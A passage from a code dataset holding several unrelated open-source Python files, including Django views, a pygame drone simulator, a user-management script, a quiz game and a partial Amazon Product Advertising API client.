'create':\n Tasks.objects.create(profile=p['profile'], username=p['user'], task=p['task'], type=\"todo\", points=p['points'])\n return render(request, 'home/profile.html')\n\n if action == 'thumbsup':\n r = request.POST\n vote = Tasks.objects.get(task=r['comment'])\n vote.votes += 1\n vote.save()\n return render(request, 'home/profile.html')\n\n if action == 'thumbsdown':\n r = request.POST\n vote = Tasks.objects.get(task=r['comment'])\n vote.votes -= 1\n vote.save()\n return render(request, 'home/profile.html')\n\n if action == 'delete':\n r = request.POST\n vote = Tasks.objects.get(task=r['comment'], username=r['user'], points=r['points'])\n vote.delete()\n\n return render(request, 'home/profile.html')\n\n if action == 'complete':\n r = request.POST\n vote = Tasks.objects.get(task=r['comment'])\n Tasks.objects.create(task=r['comment'], type=\"completed\", username=r['user'], profile=r['profile'], points=r['points'],\n votes=r['votes'])\n vote.delete()\n\n # User.Profile.completedtasks += 1\n completed = Profile.objects.get(name=r['user'])\n completed.completedtasks += 1\n completed.save()\n\n return render(request, 'home/profile.html')\n\n if action == 'edit':\n r = request.POST\n vote = Tasks.objects.get(task=r['comment'])\n vote.task = r['newcomment']\n vote.save()\n\n return render(request, 'home/profile.html')\n\n def get(self, request):\n tasks = Tasks.objects.all()\n args = {'tasks': tasks}\n return render(request, 'home/profile.html', args)\n\n @requires_csrf_token\n def my_view(request):\n c = {}\n # ...\n return render(request, 'home/profile.html', c)\n\n\ndef edit_profile(request):\n model = Profile\n if request.method == \"POST\":\n form = EditProfile(request.POST, request.FILES, instance=request.user.profile)\n if form.is_valid():\n form.save()\n return redirect('/profile')\n\n else:\n form = EditProfile(instance=request.user.profile)\n args = {'form': form}\n\n return render(request, 'home/profile_edit.html', args)\n\n\n# def create_task(request):\n# if request.method == \"POST\":\n# form = CreateTask(request.POST, instance=request.user.profile.task)\n#\n# if form.is_valid():\n# form.save()\n# return redirect('/profile')\n#\n# else:\n# form = CreateTask(instance=request.user.profile.task)\n# args = {'form': form}\n# return render(request, 'home/create_task.html', args)\n\ndef get_user_profile(request, username):\n user = User.objects.get(username=username)\n tasks = Tasks.objects.filter(username=username)\n return render(request, 'home/user_profile.html', {\"user\": user, \"tasks\": tasks})\n\n\ndef get_team_name(request, teamname):\n teamname = Teams.objects.get(teamname=teamname)\n return render(request, 'home/teamhome.html', {\"team\": teamname})\n\n\ndef defaultpage(request):\n return redirect('/homepage')\n\n\ndef register(request):\n if request.method == 'POST':\n form = Registration(request.POST)\n if form.is_valid():\n form.save()\n HttpResponse(\"Congrats\")\n return redirect('/login')\n\n else:\n HttpResponse(\"Congrats\")\n form = Registration()\n args = {'form': form}\n return render(request, 'home/register.html', args)\n","repo_name":"barramundee/FinalYearProject","sub_path":"home/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":6828,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"67"} +{"seq_id":"29293049829","text":"from django.http.response import HttpResponseRedirect\nfrom django.shortcuts import render\nfrom core.RouteHandlers.PackageMethods import CheckSession\n\nfrom core.models import Article, Comment\n\nclass UserDashboardRouteHandler():\n def GetResponse(request):\n if not CheckSession(request):\n return HttpResponseRedirect(\"/\")\n\n userId = request.session[\"UserId\"]\n articles = list(Article.objects.filter(Author__id=userId))\n for article in articles:\n article.CommentsCount = Comment.objects.filter(Article__id=article.id).count()\n \n context = {\n \"UserName\": request.session[\"UserName\"],\n \"UserArticles\": articles\n }\n return render(request, \"dashboard.html\", context)","repo_name":"ElrohirGT/BlogApp","sub_path":"core/RouteHandlers/UserDashboardRouteHandler.py","file_name":"UserDashboardRouteHandler.py","file_ext":"py","file_size_in_byte":761,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"8192428971","text":"import pygame\nimport math\nfrom numpy import random\n\n# local imports\nfrom propeller import Propeller\nfrom network import Network\n\nWIDTH, HEIGHT = (500, 300) #(1280, 720)#(1280/ 2, 720 / 2) # (1920, 1080)\nclass Drone:\n def __init__(self, screen, pos= pygame.math.Vector2(WIDTH/2, HEIGHT/2)):\n self.screen = screen\n self.size = pygame.math.Vector2(100, 50)\n self.image = pygame.transform.scale(pygame.image.load(\"C:\\\\Users\\\\S B S\\\\Documents\\\\neural_drone\\\\neural_drone\\\\resources\\\\drone.png\"), self.size)\n self.left_prop = Propeller(self.screen, pygame.math.Vector2(100, 50), left= 1)\n self.right_prop = Propeller(self.screen, pygame.math.Vector2(100, 50), left= 0)\n self.rotated_image = pygame.transform.rotate(self.image, 0)\n self.init_pos = pos\n self.pos = pos.copy()\n self.rotated_image_rect = self.rotated_image.get_rect(center = self.pos)\n self.friction = 0.05\n self.gravity = 0.5 # 0.5ze\n self.radius = 1/2\n self.mass = 1\n self.init_dynamic_attributes()\n \n def revive(self):\n self.init_dynamic_attributes()\n \n def init_dynamic_attributes(self):\n self.pos = self.init_pos.copy()\n self.phiv = 0\n self.phia = 0\n self.phi = 0\n self.ax = 0\n self.ay = 0\n self.vx = 0\n self.vy = 0\n self.fl = 0\n self.fr = 0\n \n def draw(self, prop_anim):\n self.screen.blit(self.rotated_image, self.rotated_image_rect)\n self.left_prop.draw(prop_anim)\n self.right_prop.draw(prop_anim)\n # self.left_prop.draw()\n # self.right_prop.draw()\n\n def update(self, network, deltaTime):\n self.deltaTime = deltaTime\n actions= network.forward([[self.pos.x / WIDTH, self.pos.y / HEIGHT, self.fl*2, self.fr*2, self.ax, self.ay, self.vx, self.vy, self.phi / 360, self.phiv, self.phia]]) # multiplied by 2 for the range to be between 0 and 1\n self.left_acceleration, self.right_acceleration = [True if a >= random.normal(loc= 0.5, scale= 0.1) else False for a in actions[-1]]\n # self.left_acceleration, self.right_acceleration = [True if a >= 0.5 else False for a in actions[-1]]\n self.updateForces()\n if (not self.inScreen()): return 1\n return 0\n \n def updateForces(self):\n self.updateFR()\n self.updateFL()\n self.updatePhi()\n self.ax = (self.getFL() + self.getFR()) / self.mass * math.sin(self.getPhi())\n # self.ax += (self.getFL() + self.getFR())**2 * self.radius / self.mass * math.cos(self.getPhi()) \n self.ay = (self.getFL() + self.getFR()) / self.mass * math.cos(self.getPhi()) - self.gravity / self.mass \n # self.ay += (self.getFL() + self.getFR())**2 * self.radius / self.mass * - math.sin(self.getPhi()) \n # print(\"ax = {}, ay = {}\".format(self.ax, self.ay))\n # ..\n self.vx = self.vx * (1 - self.friction) + self.ax\n self.vy = self.vy * (1 - self.friction) + self.ay\n # print(\"vx = {}, vy = {}\".format(self.vx, self.vy))\n # ..\n vx = self.vx - 0.5 * self.ax\n self.pos.x = self.pos.x + vx\n\n # print(self.phi)\n # ..\n vy = self.vy - 0.5 * self.ay\n self.pos.y = self.pos.y - vy\n self.rotated_image = pygame.transform.rotate(self.image, -radToDeg(self.getPhi()))\n self.rotated_image_rect = self.rotated_image.get_rect(center = self.pos)\n # print(self.vx, self.vy)\n self.updatePropellers()\n \n def updatePropellers(self):\n self.left_prop.update(power_rate= self.getFL(), drone_phi= self.phi, drone_position= self.pos)\n self.right_prop.update(power_rate= self.getFR(), drone_phi= self.phi, drone_position= self.pos)\n \n def getPhi(self):\n return degToRad(self.phi)\n \n def getFL(self):\n # return random.random()\n return self.fl\n\n def getFR(self):\n # return random.random()\n return self.fr\n\n def updateFL(self):\n if (self.left_acceleration):\n self.fl = min(self.fl + 0.02, 0.5)\n else:\n self.fl *= 0.95\n \n def updateFR(self):\n if (self.right_acceleration):\n self.fr = min(self.fr+0.02, 0.5)\n else:\n self.fr *= 0.95\n\n def updatePhi(self):\n self.phia = (self.getFL() - self.getFR()) * self.radius\n self.phiv = self.phiv * 0.975 + self.phia\n self.phi = self.phi + self.phiv\n pass\n \n def inScreen(self):\n w, h = pygame.display.get_surface().get_size()\n # return (self.pos.x + 70> 0 and self.pos.x - 70 < w and self.pos.y + 70 > 0 and self.pos.y - 70 < h)\n return (self.pos.x > 0 and self.pos.x < w and self.pos.y > 0 and self.pos.y < h)\n\n \ndef degToRad(deg):\n return deg * math.pi / 180\n\ndef radToDeg(rad):\n return rad * 180 / math.pi\n","repo_name":"kariyum/neural_drone","sub_path":"src/drone.py","file_name":"drone.py","file_ext":"py","file_size_in_byte":4860,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"25415522433","text":"#!/usr/bin/python\n\n__author__ = 'Nick'\n\nimport argparse\nimport os\n\n\nparser = argparse.ArgumentParser(description='parsing some stuff')\nparser.add_argument(\"-a\", \"--add\",nargs=\"+\", help='add users')\nparser.add_argument(\"-d\", \"--delete\",nargs=\"+\", help='delete users')\nargs = parser.parse_args()\n\nif args.add:\n for u in args.add:\n print('adding user ' + u)\n os.system('useradd -m -p \"test1234\" ' + u)\n\nelif args.delete:\n for u in args.delete:\n print('deleting user '+u)\n os.system('userdel '+ u)","repo_name":"nsturnitin/practice","sub_path":"python/argParsePractice.py","file_name":"argParsePractice.py","file_ext":"py","file_size_in_byte":527,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"40106104839","text":"#CODSOFT TASK 5 QUIZ GAME\r\n\r\nimport random\r\n\r\ndef welcome_message():\r\n print(\"Codsoft Task 5 The QUIZ GAME\")\r\n print(\"Welcome to our Quiz Game!\")\r\n print(\"You will be ASKED a couple of questions. Answer as many as you can.\")\r\n print(\" Now Let's get started!\\n\")\r\n\r\nquiz_questions = [\r\n {\r\n \"question\": \"Which city is known as the orange city in maharashtra?\",\r\n \"options\": [\"A. Nagpur\", \"B. Pune\", \"C. Mumbai\"],\r\n \"correct_answer\": \"A\"\r\n },\r\n {\r\n \"question\": \"Python language was developed by'?\",\r\n \"options\": [\"A.Dennis M. Ritchie \", \"B. Guido van Rossum\", \"C. James Gosling\"],\r\n \"correct_answer\": \"B\"\r\n },\r\n \r\n {\r\n \"question\": \"OS computer abbreviation usually means\",\r\n \"correct_answer\": \"Operating System\"\r\n },\r\n\r\n {\r\n \"question\": \"Which is a type of Electrically-Erasable Programmable Read-Only Memory?\",\r\n \"options\": [\"A.Flange\", \"B.FRAM \", \"C. Flash\"],\r\n \"correct_answer\": \"C\"\r\n },\r\n]\r\n\r\ndef calculate_score(user_answers):\r\n score = 0\r\n for i, question in enumerate(quiz_questions):\r\n correct_answer = question.get(\"correct_answer\")\r\n user_answer = user_answers[i]\r\n if isinstance(correct_answer, list):\r\n if user_answer.lower() in [ans.lower() for ans in correct_answer]:\r\n score += 1\r\n else:\r\n if user_answer.lower() == correct_answer.lower():\r\n score += 1\r\n return score\r\n\r\n# Function to present quiz questions\r\ndef present_questions():\r\n user_answers = []\r\n for i, question in enumerate(quiz_questions):\r\n print(f\"Question {i + 1}: {question['question']}\")\r\n if \"options\" in question:\r\n for option in question[\"options\"]:\r\n print(option)\r\n user_answer = input(\"Your answer (A, B, C, etc.): \").upper()\r\n else:\r\n user_answer = input(\"Your answer: \").strip()\r\n user_answers.append(user_answer)\r\n print()\r\n return user_answers\r\n\r\n# Function to display final results\r\ndef display_results(score, total_questions):\r\n print(f\"Quiz completed! Your score: {score}/{total_questions}\")\r\n\r\n# Function to play the quiz game\r\ndef play_quiz_game():\r\n welcome_message()\r\n user_answers = present_questions()\r\n score = calculate_score(user_answers)\r\n display_results(score, len(quiz_questions))\r\n \r\n play_again = input(\"Do you want to play again? (yes/no): \").lower()\r\n if play_again == \"yes\":\r\n play_quiz_game()\r\n else:\r\n print(\"Thanks for playing!\")\r\n\r\nif __name__ == \"__main__\":\r\n play_quiz_game()\r\n","repo_name":"Gaurav98977/CODSOFT_AUG_TASK5","sub_path":"QUIZ_GAME_TASK5.PY","file_name":"QUIZ_GAME_TASK5.PY","file_ext":"py","file_size_in_byte":2638,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"32199637864","text":"import glob\nimport tqdm\nimport os\n\nVERSION = \"fcnc_v4\"\nBABY_DIR = \"/hadoop/cms/store/user/ksalyer/FCNC_NanoSkim/{}\".format(VERSION)\nN_EVENTS_DIR = \"./n_events\"\n\nif not os.path.exists(N_EVENTS_DIR):\n\tos.mkdir(N_EVENTS_DIR)\n\nsample_dirs = glob.glob(BABY_DIR+\"/*\")\n\nsample_dirs = glob.glob(BABY_DIR+\"/*\")\n\nfor sample_dir in tqdm.tqdm(sample_dirs):\n n_events_files = glob.glob(sample_dir+\"/output_*_nevents.txt\")\n n_total_events = 0\n n_effective_events = 0\n for n_events_file in n_events_files:\n counted_total = False\n counted_pos = False\n counted_neg = False\n with open(n_events_file, \"r\") as f_in:\n lines = f_in.readlines()\n for line in lines:\n line = line.split(\"\\n\")[0]\n if unicode(line, \"utf-8\").isnumeric():\n if not counted_total:\n n_total_events += int(line)\n counted_total = True\n elif not counted_pos:\n n_effective_events += int(line)\n counted_pos = True\n elif not counted_neg:\n n_effective_events -= int(line)\n counted_neg = True\n counted_effective = counted_pos and counted_neg\n if counted_total and counted_effective:\n break\n if not counted_total or not counted_effective:\n print(lines)\n sample = sample_dir.split(\"/\")[-1]\n with open(N_EVENTS_DIR+\"/\"+sample+\"_n_events.txt\", \"w\") as f_out:\n f_out.write(str(n_total_events)+\"\\n\")\n f_out.write(str(n_effective_events)+\"\\n\")\n","repo_name":"ksalyer/FCNCAnalysis","sub_path":"analysis/eventCounter.py","file_name":"eventCounter.py","file_ext":"py","file_size_in_byte":1662,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"205041561","text":"from utils import *\r\nimport numpy as np\r\nimport pandas as pd\r\nimport cv2\r\n\r\nclass Magasin:\r\n def __init__(self,fichier_maillage,fichier_image):\r\n self.fichier_maillage = fichier_maillage\r\n self.fichier_image = fichier_image\r\n self.image_magasin = None # Image au format CV2 du magasin\r\n self.image_magasin_objectif = None # Image au format CV2 du magasin avec l'objectif entouré\r\n self.image_magasin_trajectoire = None # Image au format CV2 du magasin avec la trajectoire\r\n self.image_magasin_trajectoire_temp = None\r\n self.image_Vtable = None # Image au format CV2 du magasin avec color-map des valeurs d'états\r\n self.valeursColorMap = None\r\n self._res = 0.05 # Résolution de l'image du magasin (5cm/pixel)\r\n\r\n self._ETAT_DEPART = 86 # Etat de départ\r\n self.ETAT_CIBLE = -1 # Etat cible\r\n self._ACTIONS = ['A1','A2','A3'] # Liste des actions\r\n self.nombre_etats = 0 # Nombre d'états\r\n\r\n self.RECOMPENSE = 50.0 # Récompense si on atteint l'objectif\r\n self.RECOMPENSE_MUR = -0.1 # Récompense si on entre dans un mur\r\n self.RECOMPENSE_NON_CIBLE = 0 # Récompense à chaque changement\r\n\r\n self.PROBA_MAX = 0.9 # Probabilité maximale d'aller sur un état voulu\r\n\r\n def RAZ(self):\r\n # Création des tenseurs contenant les triangles et les noeuds\r\n # triangles : (nombre_triangles,[noeud1,noeud2,noeud3n,centre],coordonnées_XYZ)\r\n # noeuds : (nombre_triangles,3)\r\n print(\"Initialisation de la carte ...\")\r\n self.triangles, self.noeuds = CreationCarteDesEtats(self.fichier_maillage)\r\n self.nombre_etats = self.triangles.shape[0]\r\n\r\n # Création de l'image du magasin avec les triangles et les centres\r\n self.image_magasin = CreationImageMagasin(self.fichier_image,self.triangles,self._res)\r\n\r\n # Construction de la table des probabilités de transition et des récompenses\r\n print(\"Construction de la table des transitions ...\")\r\n self.table_transitions,self.df_table_transition = CreationTableTransitions(self.triangles,self.noeuds,\r\n self.RECOMPENSE,self.RECOMPENSE_MUR,self.RECOMPENSE_NON_CIBLE,\r\n self.PROBA_MAX,self.ETAT_CIBLE)\r\n\r\n # Initialisation de la table des valeurs d'actions\r\n print(\"Initialisation de la table des valeurs des actions...\")\r\n self.Q_table, self.df_Qtable = InitalisationTableActions(self.triangles)\r\n\r\n # Initialisation de la table des valeurs des états\r\n print(\"Initialisation de la table des valeurs des états...\")\r\n self.V_table, self.df_Vtable = InitalisationTableEtats(self.triangles)\r\n\r\n self.AfficheObjectifSurImage()\r\n\r\n def InitImageTrajectoire(self):\r\n self.image_magasin_trajectoire = self.image_magasin_objectif.copy()\r\n self.image_magasin_trajectoire_temp = self.image_magasin_objectif.copy()\r\n\r\n # Fonction permettant d'afficher la cible sur l'image du magasin\r\n def AfficheObjectifSurImage(self):\r\n self.image_magasin_objectif = self.image_magasin.copy()\r\n centerX = int(self.triangles[self.ETAT_CIBLE, 3, 0] / (1000 * self._res))\r\n centerY = int(self.triangles[self.ETAT_CIBLE, 3, 1] / (1000 * self._res))\r\n self.image_magasin_objectif = cv2.circle(self.image_magasin_objectif, (centerX,self.image_magasin_objectif.shape[0]-centerY), radius=2, color=(0,255,0), thickness=2)\r\n return self.image_magasin_objectif\r\n\r\n # Fonction permettant de créer la color-map de la Vtable\r\n def CreationColorMap(self):\r\n self.image_Vtable = self.image_magasin_objectif.copy()\r\n self.image_Vtable, self.valeursColorMap = CreationColorMapVtable(self.image_Vtable,self.triangles,self._res,self.V_table,self.ETAT_CIBLE)\r\n\r\n return self.image_Vtable\r\n\r\n # Fonction permettant de retourner la table des valeurs d'actions au format DataFrame\r\n def Getdf_Qtable(self):\r\n data = []\r\n columns = ['Etat courant', 'Action', 'Valeur']\r\n for index_etat in range(0, self.triangles.shape[0]):\r\n for action in range(0, 3):\r\n data.append([index_etat, action, self.Q_table[index_etat,action]])\r\n\r\n df_table_valeurs = pd.DataFrame(data=data, columns=columns)\r\n return df_table_valeurs\r\n\r\n # Fonction permettant de retourner la table des valeurs d'états au format DataFrame\r\n def Getdf_Vtable(self):\r\n data = []\r\n columns = ['Etat courant', 'Valeur']\r\n for index_etat in range(0, self.triangles.shape[0]):\r\n data.append([index_etat, self.V_table[index_etat]])\r\n\r\n df_table_valeurs = pd.DataFrame(data=data, columns=columns)\r\n return df_table_valeurs\r\n\r\n def SimuleAction(self,etat,action):\r\n # Récupère les probabilités\r\n probas = self.table_transitions[etat,action,:]['proba_transition']\r\n etats_suivants = self.table_transitions[etat,action,:]['index_etat_suivant']\r\n\r\n # Tire au sort l'état suivant à l'aide des probas\r\n etat_suivant = np.random.choice(etats_suivants,1,p=probas).item()\r\n\r\n # Affiche la trajectoire sur l'image\r\n self.image_magasin_trajectoire, self.image_magasin_trajectoire_temp = AfficheTrajectoireSurImage(self.triangles, self.image_magasin_trajectoire_temp, self._res, etat, etat_suivant)\r\n return etat_suivant, self.image_magasin_trajectoire","repo_name":"AlexandreBourrieau/ApplicationRL","sub_path":"magasin.py","file_name":"magasin.py","file_ext":"py","file_size_in_byte":5799,"program_lang":"python","lang":"fr","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"70247815255","text":"from setuptools import setup\nfrom codecs import open\n\nwith open('README.rst', encoding='utf-8') as readme:\n long_description = readme.read()\n\nsetup(name='wav-loopy',\n version='0.1.0',\n description=\"A simple WAV audio file looper: read file -> write file looped by X\",\n long_description=long_description,\n\n url=\"https://github.com/gilzoide/wav-loopy\",\n author='gilzoide',\n author_email='gilzoide@gmail.com',\n\n license='GPLv3',\n classifiers=['Development Status :: 3 - Alpha',\n 'Environment :: Console',\n 'Programming Language :: Python :: 2',\n 'Programming Language :: Python :: 3'\n ],\n keywords=\"audio wav loop\",\n install_requires=['numpy', 'scipy', 'docopt'],\n\n py_modules=['wav_loopy'],\n entry_points={\n 'console_scripts': ['wav-loopy = wav_loopy:main']\n })\n\n","repo_name":"gilzoide/wav-loopy","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":897,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"34238025721","text":"#!/usr/bin/env\n# -*- coding: utf-8 -*-\n\n\"\"\"Python Product Advertising API\"\"\"\n\nfrom base64 import b64encode\nfrom hashlib import sha256\n\nimport time\nimport hmac\nimport logging\n\ntry:\n from urllib.parse import quote as quote\nexcept ImportError:\n from urllib import quote as quote\n\nimport xmltodict\nimport requests\n\nfrom amazon.exceptions import AmazonException\n\n\nDOMAINS = {\n 'CA': 'webservices.amazon.ca',\n 'CN': 'webservices.amazon.cn',\n 'DE': 'webservices.amazon.de',\n 'ES': 'webservices.amazon.es',\n 'FR': 'webservices.amazon.fr',\n 'IN': 'webservices.amazon.in',\n 'IT': 'webservices.amazon.it',\n 'JP': 'webservices.amazon.co.jp',\n 'UK': 'webservices.amazon.co.uk',\n 'US': 'webservices.amazon.com',\n 'BR': 'webservices.amazon.com.br',\n 'MX': 'webservices.amazon.com.mx'\n}\n\n\nLOGGER = logging.getLogger(__name__)\n\n\nclass ProductAdvertisingAPI(object):\n\n \"\"\"\n Executes AmazonRequests.\n Contains functions for each of the main calls of the Amazon API.\n Required parameters are defined in the function, but users can\n customize their requests with Keyword Arguments. It is required\n that the keyword name be that of the paramter in the API documentation.\n \"\"\"\n\n def __init__(self, AssociateTag, AWSAccessKeyId, AWSAccessKeySecret,\n Region='US', Version='2013-08-01', Service='AWSECommerceService',\n qps=None, timeout=None):\n if (AssociateTag is None) or (AWSAccessKeyId is None) or (AWSAccessKeySecret is None):\n raise ValueError('Your Amazon Credentials are'\n ' required and cannot be None.')\n if not isinstance(Region, str) or Region.upper() not in DOMAINS:\n raise ValueError('Your region is currently unsupported.')\n if qps:\n try:\n qps = float(qps)\n except:\n raise ValueError('qps (query per second) must be a number.')\n self.AssociateTag = AssociateTag\n self.AWSAccessKeyId = AWSAccessKeyId\n self.AWSAccessKeySecret = AWSAccessKeySecret\n self.Region = Region\n self.Version = Version\n self.Service = Service\n self.ITEM_ID_MAX = 10\n self.qps = qps\n self.timeout = timeout\n self._last_time = None\n\n\n def _make_request(self, name, **kwargs):\n if self.qps is not None and self.qps > 0:\n if self._last_time is not None:\n wait_time = 1 / self.qps - (time.time() - self._last_time)\n if wait_time > 0:\n LOGGER.warning('Waiting %s secs to send next Request.',\n round(wait_time, 3))\n time.sleep(wait_time)\n self._last_time = time.time()\n\n request = AmazonRequest(self.AssociateTag, self.AWSAccessKeyId,\n self.AWSAccessKeySecret, Operation=name,\n Region=self.Region, Service=self.Service,\n Version=self.Version, timeout=self.timeout)\n\n return request.execute(**kwargs)\n\n def _check_valid_asin(self, asin):\n asin = asin.split(',') if ',' in asin else [asin]\n bad_asins = [a for a in asin if len(a) != 10 or a[0].upper() != 'B']\n if len(bad_asins) > 0:\n raise ValueError('INVALID ASIN: \"%s\". ASIN is 10 characters long'\n ' and starts with a \"B\".' % str(bad_asins))\n\n def _check_valid_quantity(self, quantity):\n try:\n quantity = int(quantity)\n if quantity < 0 or quantity > 999:\n raise TypeError\n except TypeError:\n raise ValueError('Invalid Quantity \"%s\": Quantity must be between'\n ' 0 and 999, inclusive.' % str(quantity))\n\n def _handle_errors(self, request):\n if 'Errors' in request:\n errors = request['Errors']['Error']\n errors = [errors] if not isinstance(errors, list) else errors\n for err in errors:\n err_message = err['Message']\n err_code = err['Code']\n LOGGER.error('%s - %s', err_code, err_message)\n raise AmazonException('%s - %s' % (err_code, err_message))\n return self\n\n def _parse_multiple_items(self, data):\n if isinstance(data, str) and ',' in data:\n data = data.split(',')\n if not isinstance(data, list):\n data = [data]\n return data\n\n def ItemSearch(self, **kwargs):\n response = self._make_request('ItemSearch', **kwargs)\n self._handle_errors(response['Items']['Request'])\n return response\n\n def BrowseNodeLookup(self, BrowseNodeId=None, **kwargs):\n if BrowseNodeId is None:\n raise ValueError('BrowseNodeId must be a positive Integer. For a'\n ' list of valid IDs, please see: http://docs.aws'\n '.amazon.com/AWSECommerceService/latest/DG/'\n 'localevalues.html')\n params = {\n 'BrowseNodeId': BrowseNodeId\n }\n kwargs.update(params)\n response = self._make_request('BrowseNodeLookup', **kwargs)\n self._handle_errors(response['BrowseNodes']['Request'])\n return response\n\n def ItemLookup(self, ItemId=None, **kwargs):\n if ItemId is None:\n raise ValueError('ItemId is required.')\n elif isinstance(ItemId, list):\n ItemId = ','.join(ItemId)\n self._check_valid_asin(ItemId)\n params = {\n 'ItemId': ItemId\n }\n kwargs.update(params)\n response = self._make_request('ItemLookup', **kwargs)\n self._handle_errors(response['Items']['Request'])\n return response\n\n def SimilarityLookup(self, ItemId=None, **kwargs):\n if ItemId is None:\n raise ValueError('ItemId is required.')\n if 'ItemIdType' in kwargs:\n ItemIdType = kwargs['ItemIdType']\n else:\n ItemIdType = 'ASIN'\n self._check_valid_asin(ItemId)\n params = {\n 'ItemId': ItemId,\n 'ItemIdType': ItemIdType\n }\n kwargs.update(params)\n response = self._make_request('SimilarityLookup', **kwargs)\n self._handle_errors(response['Items']['Request'])\n return response\n\n def CartAdd(self, CartId=None, HMAC=None, **kwargs):\n if CartId is None:\n raise ValueError('CartId is required.')\n elif 'ASIN' not in kwargs and 'OfferListingId' not in kwargs:\n raise ValueError('Must provide a valid ASIN'\n ' or OfferListingId to add.')\n\n if 'OfferListingId' in kwargs:\n item_type = 'OfferListingId'\n else:\n item_type = 'ASIN'\n self._check_valid_asin(kwargs[item_type])\n Quantity = '1' if 'Quantity' not in kwargs else kwargs['Quantity']\n self._check_valid_quantity(Quantity)\n\n params = {\n 'CartId': CartId,\n 'HMAC': HMAC\n }\n items = kwargs[item_type]\n if ',' in items:\n items = items.split(',')\n else:\n items = [items]\n for item in items:\n i = {\n 'Item.%d.%s' % (items.index(item), item_type): item,\n 'Item.%d.Quantity' % items.index(item): Quantity\n }\n params.update(i)\n kwargs.update(params)\n response = self._make_request('CartAdd', **kwargs)\n self._handle_errors(response['Cart']['Request'])\n return response\n\n def CartClear(self, CartId=None, HMAC=None, **kwargs):\n if CartId is None:\n raise ValueError('CartId is required.')\n elif HMAC is None:\n raise ValueError('HMAC is required.')\n params = {\n 'CartId': CartId,\n 'HMAC': HMAC\n }\n kwargs.update(params)\n response = self._make_request('CartClear', **kwargs)\n self._handle_errors(response['Cart']['Request'])\n return response\n\n def CartCreate(self, ItemId=None, **kwargs):\n if ItemId is None:\n raise ValueError('ItemId is required.')\n if 'ItemIdType' in kwargs:\n ItemIdType = kwargs['ItemIdType']\n else:\n ItemIdType = 'ASIN'\n self._check_valid_asin(ItemId)\n if ',' in ItemId:\n ItemId = ItemId.split(',')\n else:\n ItemId = [ItemId]\n if 'Quantity' in kwargs:\n Quantity = kwargs['Quantity']\n if isinstance(Quantity, str) and ',' in Quantity:\n Quantity = Quantity.split(',')\n if isinstance(Quantity, list) and len(Quantity) != len(ItemId):\n raise AmazonException('Weird stuff with multiple items and '\n 'their quantities is not matching up.')\n else:\n Quantity = '1'\n\n for i in xrange(len(ItemId)):\n params = {\n 'Item.%d.%s' % (i, ItemIdType): ItemId[i],\n 'Item.%d.Quantity' % i: Quantity\n }\n kwargs.update(params)\n response = self._make_request('CartCreate', **kwargs)\n self._handle_errors(response['Cart']['Request'])\n return response\n\n def CartGet(self, CartId=None, CartItemId=None, HMAC=None, **kwargs):\n if CartId is None:\n raise ValueError('CartId is required.')\n elif CartItemId is None:\n raise ValueError('CartItemId is required.')\n elif HMAC is None:\n raise ValueError('HMAC is requred')\n params = {\n 'CartId': CartId,\n 'CartItemId': CartItemId,\n 'HMAC': HMAC\n }\n kwargs.update(params)\n response = self._make_request('CartGet', **kwargs)\n self._handle_errors(response['Cart']['Request'])\n return response\n\n def CartModify(self, CartId=None, CartItemId=None, HMAC=None, **kwargs):\n if CartId is None:\n raise ValueError('CartId is required.')\n elif CartItemId is None:\n raise ValueError('CartItemId is required.')\n elif HMAC is None:\n raise ValueError('HMAC is requred')\n elif isinstance(CartItemId, str) and ',' in CartItemId:\n CartItemId = CartItemId.split(',')\n if not isinstance(CartItemId, list):\n CartItemId = [CartItemId]\n Quantity = '1' if 'Quantity' not in kwargs else kwargs['Quantity']\n self._check_valid_quantity(Quantity)\n params = {\n 'CartId': CartId,\n 'HMAC': HMAC\n }\n for item in CartItemId:\n i = CartItemId.index(item)\n params.update({\n 'Item.%d.CartItemId' % i: item,\n 'Item.%d.Quantity' % i: Quantity[i]\n })\n kwargs.update(params)\n response = self._make_request('CartModify', **kwargs)\n self._handle_errors(response['Cart']['Request'])\n return response\n\n\nclass AmazonRequest(object):\n\n \"\"\"\n AmazonRequest class.. Initializes with Amazon API Credentials\n (KEY_ID, KEY_SECRET, ASSOCIATE TAG) as well as the\n API Operation Name, the target Region, the Service,\n and the Version.\n\n This class is created only by the ProductAdvertisingAPI.\n \"\"\"\n\n def __init__(self, AssociateTag, AWSAccessKeyId, AWSAccessKeySecret,\n Operation, Region, Service, Version, timeout):\n if Operation not in ['BrowseNodeLookup', 'ItemSearch', 'ItemLookup',\n 'SimilarityLookup', 'CartAdd', 'CartClear',\n 'CartCreate', 'CartGet', 'CartModify']:\n raise ValueError('Invalid Operation Name: \"%s\". Please see the '\n 'documentation for details: http://docs.aws.'\n 'amazon.com/AWSECommerceService/latest/DG/CHAP_'\n 'OperationListAlphabetical.html' % Operation)\n self.AssociateTag = AssociateTag\n self.AWSAccessKeyId = AWSAccessKeyId\n self.AWSAccessKeySecret = AWSAccessKeySecret\n self.Operation = Operation\n self.Region = Region\n self.Service = Service\n self.Version = Version\n self.timeout = timeout\n\n def _quote_params(self, params):\n \"\"\"URL Encode Parameters\"\"\"\n key_values = []\n for key, val in params.iteritems():\n if not isinstance(key, str):\n key = str(key)\n if not isinstance(val, str):\n val = str(val)\n key_values.append((quote(key), quote(val)))\n key_values.sort()\n return '&'.join(['%s=%s' % (k, v) for k, v in key_values])\n\n def _signed_url(self, **kwargs):\n \"\"\"Return Signed URL for Request\"\"\"\n params = {\n 'Operation': self.Operation,\n 'Service': self.Service,\n 'Version': self.Version,\n 'AssociateTag': self.AssociateTag,\n 'AWSAccessKeyId': self.AWSAccessKeyId,\n 'Timestamp': time.strftime('%Y-%m-%dT%H:%M:%SZ', time.gmtime())\n }\n params.update(kwargs)\n 